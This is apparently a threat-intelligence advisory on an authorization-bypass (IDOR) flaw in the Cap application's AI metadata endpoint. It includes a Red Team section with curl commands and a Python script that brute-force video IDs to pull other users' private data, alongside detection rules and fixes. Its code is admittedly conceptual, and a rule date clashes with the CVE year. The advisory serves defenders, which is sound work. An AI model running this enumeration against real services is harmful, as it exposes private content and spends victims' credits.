CVE-2026-59704

Executive Summary

CVE-2026-59704 is an authorization bypass vulnerability in the Cap application, specifically in the GET /api/video/ai endpoint. The endpoint fails to validate whether an authenticated user owns or is a member of the video resource before returning sensitive AI-generated metadata (titles, summaries, chapters) and triggering AI generation actions. This allows an authenticated attacker to enumerate arbitrary video IDs, exfiltrate private AI content, and consume the video owner’s AI credits without authorization. The vulnerability is classified as an Insecure Direct Object Reference (IDOR) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary application called Cap. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker must be authenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full access to private AI metadata.
• Integrity (I): Low (L) – Unauthorized AI generation consumes credits but does not modify data.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.1 (High)
Threat Level: High – Exploitation is straightforward for any authenticated user.

Deep Dive & Mechanics

The vulnerability resides in the GET /api/video/ai endpoint. The application uses a video ID parameter (e.g., ?video_id=12345) to fetch AI-generated metadata. The endpoint does not verify that the requesting user has ownership or membership rights to the video. Instead, it only checks that the user is authenticated.

Attack Flow:

1. Attacker authenticates to Cap (e.g., via a valid session token).
2. Attacker sends a GET request to /api/video/ai?video_id=<target_video_id>.
3. The server returns AI metadata (title, summary, chapters) for the target video.
4. Additionally, if the AI metadata has not been generated yet, the endpoint triggers AI generation, consuming the video owner’s credits.

Root Cause: Missing authorization check on the video resource. The code likely queries the AI metadata table directly without joining against the user-video ownership table.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/video/ai', methods=['GET'])
def get_video_ai():
    video_id = request.args.get('video_id')
    # Missing ownership check
    ai_data = db.query("SELECT title, summary, chapters FROM ai_metadata WHERE video_id = ?", (video_id,))
    if not ai_data:
        # Trigger AI generation (consumes credits)
        generate_ai(video_id)
        ai_data = db.query("SELECT title, summary, chapters FROM ai_metadata WHERE video_id = ?", (video_id,))
    return jsonify(ai_data)

Patched Code (Conceptual):

@app.route('/api/video/ai', methods=['GET'])
def get_video_ai():
    video_id = request.args.get('video_id')
    user_id = get_current_user_id()
    # Verify ownership or membership
    video = db.query("SELECT owner_id FROM videos WHERE id = ? AND (owner_id = ? OR ? IN (SELECT user_id FROM video_members WHERE video_id = ?))", (video_id, user_id, user_id, video_id))
    if not video:
        return jsonify({'error': 'Forbidden'}), 403
    ai_data = db.query("SELECT title, summary, chapters FROM ai_metadata WHERE video_id = ?", (video_id,))
    if not ai_data:
        generate_ai(video_id)
        ai_data = db.query("SELECT title, summary, chapters FROM ai_metadata WHERE video_id = ?", (video_id,))
    return jsonify(ai_data)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Valid authenticated session (e.g., cookie or Bearer token).
• Target Cap instance with known video IDs (can be enumerated via other endpoints or brute-force).

Exploitation Steps:

1. Obtain a valid session token (e.g., via login or registration).
2. Use a tool like curl to enumerate video IDs:

   curl -X GET "https://target-cap.com/api/video/ai?video_id=1" -H "Authorization: Bearer <token>"
   curl -X GET "https://target-cap.com/api/video/ai?video_id=2" -H "Authorization: Bearer <token>"
   

3. Parse the JSON response for AI metadata.
4. Monitor credit consumption on the target account (if possible).

Automated Exploit (Python):

import requests

target = "https://target-cap.com"
token = "<your_token>"
headers = {"Authorization": f"Bearer {token}"}

for vid in range(1, 1000):
    r = requests.get(f"{target}/api/video/ai?video_id={vid}", headers=headers)
    if r.status_code == 200 and "title" in r.json():
        print(f"Video {vid}: {r.json()}")

Blue Team (Defense & Detection)

Detection:

• Monitor for repeated requests to /api/video/ai with sequential or random video IDs from the same user.
• Alert on high credit consumption for a single user without corresponding video uploads.

Mitigation:

• Implement proper authorization checks (see patched code).
• Rate-limit the /api/video/ai endpoint per user.
• Log all access to AI metadata and correlate with video ownership.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/video/ai with varying video_id parameters from a single authenticated session.
• Logs: Repeated 200 responses for /api/video/ai with different video IDs not owned by the requester.
• Behavioral: Sudden spike in AI credit usage for a user who has not uploaded new videos.

Detection Engineering

YARA Rule

rule CVE_2026_59704_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2026-59704 via API requests"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $api_path = "/api/video/ai"
        $video_id_param = "video_id="
    condition:
        $api_path and $video_id_param
}

Sigma Rule

title: CVE-2026-59704 - Unauthorized AI Metadata Access
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects repeated requests to /api/video/ai with different video IDs from the same user
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/video/ai'
        cs-uri-query|contains: 'video_id='
    condition: selection
falsepositives:
    - Legitimate users accessing their own videos
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-59704 - Unauthorized AI Metadata Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/video/ai"; http.uri; content:"video_id="; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement server-side authorization checks on the /api/video/ai endpoint to verify video ownership or membership.
2. Rate-limit the endpoint to prevent brute-force enumeration.
3. Monitor logs for anomalous access patterns.

Long-Term Fix:

• Apply a patch from the vendor (Cap) once available.
• Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.

Workaround:

• If patching is not possible, disable the /api/video/ai endpoint or restrict it to admin users only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert